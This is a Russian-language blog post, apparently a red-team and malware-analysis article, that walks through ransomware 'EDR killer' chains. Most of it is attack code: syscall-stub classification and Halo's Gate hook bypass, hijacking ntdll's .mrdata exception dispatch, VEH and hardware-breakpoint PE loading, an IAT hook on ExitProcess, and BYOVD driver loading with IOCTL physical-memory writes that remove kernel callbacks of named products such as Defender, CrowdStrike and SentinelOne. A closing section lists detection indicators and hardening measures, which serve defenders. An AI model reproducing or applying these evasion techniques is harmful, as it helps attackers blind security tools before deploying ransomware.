Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Posted on 3 апреля, 2026 by AkaTor

Категория: Red Team / Malware Analysis
Уровень: Advanced
Автор: Aka Tor
Дата: Апрель 2026

Введение

EDR (Endpoint Detection and Response) — главный барьер для современных атакующих. В отличие от классических антивирусов, EDR отслеживает поведение в реальном времени: создание процессов, загрузку модулей, сетевую активность, обращения к LSASS. Для ransomware-групп отключение EDR — обязательный этап перед шифрованием.

Современные EDR killers используют многоступенчатые цепочки: обфускация через SEH/VEH, обход userland hooks через Halo’s Gate, отложенное выполнение через IAT hooking, и финальное отключение через BYOVD + kernel callback removal. Статья разбирает каждую технику с рабочим кодом.

Предупреждение: Материал для исследования безопасности и понимания угроз. Код предназначен для образовательных целей.

Содержание

---

1. Общая схема цепочки заражения

Типичный EDR killer в составе ransomware работает в несколько этапов:

```
Этап 1: PE-загрузчик (DLL sideloading через легитимное приложение)
  |
  ├─ Построение Slot Policy Table (классификация syscall stubs)
  ├─ Перехват exception dispatch через .mrdata
  ├─ Обход userland hooks (Halo's Gate)
  ├─ Подавление ETW событий
  |
  v
Этап 2: Промежуточный переход
  |
  ├─ IAT hook ExitProcess → отложенный запуск payload
  |
  v
Этап 3: VEH-based загрузка
  |
  ├─ Расшифровка встроенного PE в памяти
  ├─ Загрузка PE через VEH + hardware breakpoints
  ├─ Перенаправление NtOpenSection / NtMapViewOfSection
  |
  v
Этап 4: EDR Killer
  |
  ├─ Загрузка BYOVD драйвера (physical memory R/W)
```

```
  ├─ Удаление kernel callbacks EDR (Process/Thread/Image notify)
  ├─ Завершение EDR процессов через kernel driver
  ├─ Восстановление Code Integrity checks
  │
  v
Ransomware payload запускается на системе без EDR
```

---

2. Slot Policy Table — классификация syscall stubs

Загрузчик создаёт карту всех Nt* syscall stubs в ntdll.dll. Каждому 16-байтовому слоту кода присваивается политика: обычный syscall, ETW-related (блокировать), ALPC-related (перенаправить).

```
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)ntdll +
dos->e_lfanew);

DWORD codeBase = nt->OptionalHeader.BaseOfCode;
DWORD codeSize = nt->OptionalHeader.SizeOfCode;
DWORD slotCount = codeSize / 16;

// 1 байт на каждый 16-байтовый слот кода
BYTE* policyTable = (BYTE*)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, slotCount);

// Перебираем экспорты ntdll
PIMAGE_EXPORT_DIRECTORY exports = ...;
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
    const char* name = (const char*)((BYTE*)ntdll + names[i]);
    if (name[0] != 'N' || name[1] != 't') continue;  // только Nt*

    DWORD funcRVA = functions[ordinals[i]];
    DWORD slotIdx = (funcRVA - codeBase) / 16;

    // Классификация по имени
```

```
    if (strcmp(name, "NtTraceEvent") == 0 || strcmp(name,
"NtTraceControl") == 0)
        policyTable[slotIdx] = POLICY_ETW;       // блокировать ETW
    else if (strcmp(name, "NtAlpcSendWaitReceivePort") == 0)
        policyTable[slotIdx] = POLICY_ALPC;      // перенаправить ALPC
    else
        policyTable[slotIdx] = POLICY_DEFAULT;    // обычный syscall
}
```

Результат — таблица на основе данных (не модификация кода). Exception handler использует её для принятия решений при каждом syscall.

---

3. Halo’s Gate — восстановление хукнутых syscalls

EDR устанавливает inline hooks в начале Nt* функций ntdll.dll, заменяя первые байты на jmp. SSN (System Service Number) становится недоступен. Halo’s Gate восстанавливает SSN через соседние нехукнутые stubs.

```
// Чистый x64 syscall stub: 4C 8B D1 B8 [SSN] 00 00
BOOL IsCleanStub(BYTE* addr) {
    return (addr[0] == 0x4C && addr[1] == 0x8B && addr[2] == 0xD1 &&
addr[3] == 0xB8);
}

BOOL IsHooked(BYTE* addr) {
    return (addr[0] == 0xE9 || (addr[0] == 0xFF && addr[1] == 0x25));
}

DWORD HalosGateResolve(BYTE* targetStub) {
    if (IsCleanStub(targetStub))
        return *(DWORD*)(targetStub + 4);  // SSN доступен напрямую

    const int STUB_SIZE = 0x20;  // типичный размер stub

    for (int i = 1; i < 500; i++) {
        // Сосед вниз
```

```
        BYTE* down = targetStub + (i * STUB_SIZE);
        if (IsCleanStub(down))
            return *(DWORD*)(down + 4) - i;  // SSN = сосед -
дистанция

        // Сосед вверх
        BYTE* up = targetStub - (i * STUB_SIZE);
        if (IsCleanStub(up))
            return *(DWORD*)(up + 4) + i;    // SSN = сосед +
дистанция
    }
    return -1;
}
```

После восстановления SSN — вызов через gadget `syscall; ret` в ntdll:

```
mov r10, rcx          ; стандартный пролог
mov eax, [target_SSN] ; восстановленный SSN
jmp [syscall_gadget]  ; syscall;ret в чистом stub ntdll

Результат: ядро видит легитимный вызов из ntdll.
EDR hook обойдён — jmp в начале функции не выполняется.
```

---

4. Перехват обработки исключений через .mrdata

Секция `.mrdata` в ntdll содержит указатель на exception dispatch callback. Обычно read-only, но `LdrProtectMrdata` может снять защиту.

```
// 1. Найти LdrProtectMrdata через паттерн от RtlDeleteFunctionTable
FARPROC anchor = GetProcAddress(ntdll, "RtlDeleteFunctionTable");
// Сканируем от anchor вниз, ищем CALL rel32 (E8 XX XX XX XX)
// Целевой адрес CALL = LdrProtectMrdata

// 2. Снять защиту .mrdata
LdrProtectMrdata(FALSE);  // .mrdata теперь writable
```

```
// 3. Перезаписать dispatch slot
*(PVOID*)(dispatch_slot_addr) = &CustomExceptionHandler;

// 4. Восстановить защиту
LdrProtectMrdata(TRUE);

// Теперь ВСЕ исключения проходят через CustomExceptionHandler.
// В сочетании со Slot Policy Table — выборочный перехват syscalls.
```

Exception handler при single-step exception:

```
LONG CustomExceptionHandler(PEXCEPTION_POINTERS ex) {
    if (ex->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        // Определяем slot index из RIP
        DWORD slotIdx = (ex->ContextRecord->Rip - codeBase) / 16;
        BYTE policy = policyTable[slotIdx];

        if (policy == POLICY_ETW) {
            // Блокируем ETW: пропускаем syscall, возвращаем SUCCESS
            ex->ContextRecord->Rax = 0;
            ex->ContextRecord->Rip = /* ret address */;
            return EXCEPTION_CONTINUE_EXECUTION;
        }
        // Для обычных syscalls — вызываем через Halo's Gate
        // ...
    }
    return EXCEPTION_CONTINUE_SEARCH;
}
```

---

5. VEH-based обфускация потока управления

На этапе загрузки встроенного PE используется VEH с hardware breakpoints для перенаправления вызовов без прямых API calls в коде.

```
LONG CALLBACK VehHandler(PEXCEPTION_POINTERS ex) {
    if (ex->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
```

```
        return EXCEPTION_CONTINUE_SEARCH;

    if (stage == 1) {
        // BP на NtOpenSection: подменяем имя секции
        // Изменяем имя с "shell32.dll" на имя нашего PE
        // Перенаправляем RIP на ret, устанавливаем rsp на
LdrpMinimalMapModule+offset
        ex->ContextRecord->Rip = ntdll_NtOpenSection + 0x14;  // ret
        ex->ContextRecord->Rsp = LdrpMinimalMapModule_after_call;

        // Устанавливаем следующий BP на NtMapViewOfSection
        ex->ContextRecord->Dr0 = (DWORD64)NtMapViewOfSection;
        stage = 2;
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    if (stage == 2) {
        // BP на NtMapViewOfSection: наш PE маппится вместо
shell32.dll
        // Убираем все breakpoints
        ex->ContextRecord->Dr0 = 0;
        ex->ContextRecord->Dr7 = 0;
        stage = 0;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

// Запуск цепочки:
AddVectoredExceptionHandler(1, VehHandler);
SetHardwareBreakpoint(NtOpenSection, DR0);
LdrLoadDll(L"fake_name.dll");  // косвенно вызовет NtOpenSection → наш
VEH
```

Результат: в коде нет прямых вызовов NtCreateSection/NtMapViewOfSection. Статический анализ видит только LdrLoadDll с безобидным именем. Реальная загрузка PE происходит через цепочку VEH перехватов.

6. IAT hooking ExitProcess — отложенное выполнение

Загрузчик подменяет ExitProcess в IAT хост-процесса. DllMain завершается нормально. Payload запускается только при завершении процесса — когда вызывается ExitProcess.

```
void WINAPI HookedExitProcess(UINT uExitCode) {
    // Вместо завершения — запускаем EDR killer
    DecryptAndExecutePayload();

    // После payload — реальный ExitProcess
    HMODULE k32 = GetModuleHandleA("kernel32.dll");
    ((void(WINAPI*)(UINT))GetProcAddress(k32,
"ExitProcess"))(uExitCode);
}

BOOL HookIATExitProcess(HMODULE hModule) {
    // Парсим PE → Import Directory → kernel32.dll → ExitProcess
    PIMAGE_IMPORT_DESCRIPTOR imports = ...;
    for (; imports->Name; imports++) {
        if (_stricmp(dllName, "kernel32.dll") != 0) continue;

        PIMAGE_THUNK_DATA iat = ...;
        for (; iat->u1.AddressOfData; iat++) {
            if (strcmp(importName->Name, "ExitProcess") == 0) {
                DWORD oldProtect;
                VirtualProtect(&iat->u1.Function, 8, PAGE_READWRITE,
&oldProtect);
                iat->u1.Function = (ULONGLONG)HookedExitProcess;
                VirtualProtect(&iat->u1.Function, 8, oldProtect,
&oldProtect);
                return TRUE;
            }
        }
    }
    return FALSE;
}
```

Преимущество: DllMain возвращает TRUE без подозрительной активности. EDR не видит ничего аномального при загрузке DLL. Payload активируется позже, при штатном завершении процесса.

---

7. Перечисление и удаление kernel callbacks EDR

EDR регистрируют kernel callbacks для мониторинга системных событий:

```
PsSetCreateProcessNotifyRoutine    — создание/завершение процессов
PsSetCreateThreadNotifyRoutine     — создание потоков
PsSetLoadImageNotifyRoutine        — загрузка PE образов
CmRegisterCallbackEx               — операции с реестром
ObRegisterCallbacks                — открытие handle к
процессам/потокам
```

EDR killer удаляет эти callbacks через физическую память:

```
// 1. Через NtQuerySystemInformation получаем список kernel модулей
// 2. Находим базу ntoskrnl.exe
// 3. Вычисляем адрес PspCreateProcessNotifyRoutine array:
//    ntoskrnl!PsSetCreateProcessNotifyRoutine → внутри содержит
//    ссылку на массив EX_CALLBACK_ROUTINE_BLOCK

// 4. Через BYOVD драйвер читаем физическую память:
for (int i = 0; i < 64; i++) {  // массив до 64 записей
    PVOID callbackAddr = read_physical(notify_array + i * 8);
    if (!callbackAddr) continue;

    // Очищаем нижние биты (EX_CALLBACK_ROUTINE_BLOCK alignment)
    callbackAddr = (PVOID)((ULONG_PTR)callbackAddr & ~0xF);

    // Читаем адрес callback функции
    PVOID funcAddr = read_physical((ULONG_PTR)callbackAddr + 8);

    // Проверяем принадлежность к EDR драйверу
    if (IsEdrDriverAddress(funcAddr)) {
```

```
        // Обнуляем запись — EDR больше не получает уведомления
        write_physical(notify_array + i * 8, 0);
    }
}
```

Список из 300+ EDR драйверов хранится в malware:

```
WdFilter.sys          — Windows Defender
csagent.sys           — CrowdStrike Falcon
SentinelMonitor.sys   — SentinelOne
cbk7.sys              — Carbon Black
SophosED.sys          — Sophos
ehdrv.sys             — ESET
klif.sys              — Kaspersky
CyvrFSFd.sys          — Palo Alto Cortex XDR
ElasticEndpoint.sys   — Elastic
... (300+ драйверов)
```

---

8. BYOVD — kernel read/write через легитимный драйвер

Все kernel-level операции (чтение callbacks, обнуление записей, завершение PPL процессов) требуют kernel primitive. EDR killers используют подписанные но уязвимые драйверы:

```
rwdrv.sys (ThrottleStop.sys) — physical memory map/read/write через
IOCTL
RTCore64.sys                 — MSI Afterburner, arbitrary kernel R/W
gdrv.sys                     — GIGABYTE, arbitrary kernel R/W
dbutil_2_3.sys               — Dell, arbitrary R/W
```

Пример использования rwdrv.sys:

```
// Загрузка драйвера
sc create rwdrv binpath= "C:\path\rwdrv.sys" type= kernel
sc start rwdrv

// Получение handle
```

```
HANDLE hDriver = CreateFileA("\\\\.\\rwdrv", GENERIC_READ |
GENERIC_WRITE,
    0, NULL, OPEN_EXISTING, 0, NULL);

// Чтение физической памяти
struct { DWORD64 address; DWORD size; BYTE data[8]; } readReq;
readReq.address = physicalAddress;
readReq.size = 8;
DeviceIoControl(hDriver, IOCTL_READ_PHYSICAL, &readReq,
sizeof(readReq),
    &readReq, sizeof(readReq), &bytesReturned, NULL);

// Запись в физическую память
struct { DWORD64 address; DWORD size; BYTE data[8]; } writeReq;
writeReq.address = physicalAddress;
writeReq.size = 1;
writeReq.data[0] = 0x00;  // обнуляем EPROCESS.Protection или callback
DeviceIoControl(hDriver, IOCTL_WRITE_PHYSICAL, &writeReq,
sizeof(writeReq),
    NULL, 0, &bytesReturned, NULL);
```

После удаления callbacks — второй драйвер (hlpdrv.sys) завершает EDR процессы через специальный IOCTL который снимает PPL защиту и вызывает ZwTerminateProcess.

---

9. Полная цепочка атаки

```
1. DLL Sideloading
   Легитимное приложение загружает вредоносную msimg32.dll
   → DllMain запускает загрузчик

2. Инициализация (Этап 1)
   → Slot Policy Table построена (NtTraceEvent → POLICY_ETW)
   → .mrdata dispatch перехвачен
   → Halo's Gate: SSN восстановлены для хукнутых stubs
   → ETW подавлен (syscalls блокируются через policy table)
```

```
3. IAT Hook (Этап 2)
   → ExitProcess в IAT заменён на hook
   → DllMain возвращает TRUE — процесс работает нормально
   → EDR не видит ничего подозрительного

4. Отложенный запуск (Этап 3)
   → Процесс вызывает ExitProcess при завершении
   → Hook перехватывает → запускается VEH loader
   → PE расшифровывается и загружается в память через VEH chain
   → Ни один подозрительный API не вызван напрямую

5. EDR Kill (Этап 4)
   → rwdrv.sys загружен (подписанный, легитимный)
   → Kernel callbacks EDR удалены через physical memory write
   → hlpdrv.sys завершает EDR процессы
   → Code Integrity восстановлен (CiValidateImageHeader)
   → Система готова для ransomware payload

6. Геоограничение
   → На каждом этапе проверяется язык системы
   → Постсоветские страны исключены из атаки
```

---

10. Blue Team — обнаружение

Индикаторы на каждом этапе

```
DLL Sideloading:
  - Sysmon Event 7: загрузка DLL из нетипичной директории
  - Несоответствие хеша msimg32.dll оригиналу
  - DLL Forwarding: проксирование вызовов в System32\msimg32.dll

Userland Evasion:
  - VirtualProtect на .mrdata секцию ntdll.dll
  - AddVectoredExceptionHandler из подозрительного модуля
  - Hardware breakpoints (DR0-DR3) установлены на Nt* функции
  - Целостность ntdll.dll: сравнение .text с образом на диске
```

```
BYOVD:
  - Sysmon Event 6: загрузка rwdrv.sys / RTCore64.sys / gdrv.sys
  - Event 7045: создание нового kernel service
  - Microsoft Vulnerable Driver Blocklist match
  - DeviceIoControl на \\.\rwdrv с подозрительными IOCTL

Callback Removal:
  - Внезапное прекращение ETW событий от процесса
  - PsSetCreateProcessNotifyRoutine entries обнулены
  - EDR процесс завершён без штатного shutdown

Общие:
  - Геоограничение: проверка GetUserDefaultUILanguage — маркер
ransomware
  - Цепочка: sideload → hook → driver → kill — характерный паттерн
```

Защита

1. HVCI — блокирует загрузку уязвимых/отозванных драйверов
2. Microsoft Vulnerable Driver Blocklist — обновляется через Windows Update
3. WDAC — белый список разрешённых драйверов
4. Tamper Protection в Defender — защита от завершения EDR
5. Kernel-level ETW (Threat Intelligence) — не обходится userland патчингом
6. DLL Load Order Hardening — SafeDllSearchMode, KnownDlls
7. Мониторинг .mrdata целостности
8. Sysmon Event 6 + автоматическая блокировка известных BYOVD драйверов
9. PPL для критических процессов (RunAsPPL, Antimalware PPL)
10. Многоуровневая защита — EDR это одна линия, не единственная

Заключение

Современные EDR killers — это не простые «taskkill /f». Это многоступенчатые цепочки заражения с продвинутой обфускацией, обходом userland hooks через Halo’s Gate,

подавлением ETW через slot policy tables, и финальным отключением защиты через kernel-level BYOVD.

Количество техник, необходимых для обхода EDR, показывает эффективность современных защитных решений. Но даже самая продвинутая защита может быть обойдена целеустремлённым атакующим. Единственный надёжный подход — многоуровневая защита, где отказ одного уровня не приводит к полной компрометации.

Для Blue Team: HVCI + Vulnerable Driver Blocklist + WDAC закрывают BYOVD вектор. Tamper Protection защищает от завершения EDR. Kernel-level ETW (Threat Intelligence) работает даже при подавлении userland провайдеров. Мониторинг целостности ntdll.dll обнаруживает .mrdata manipulation.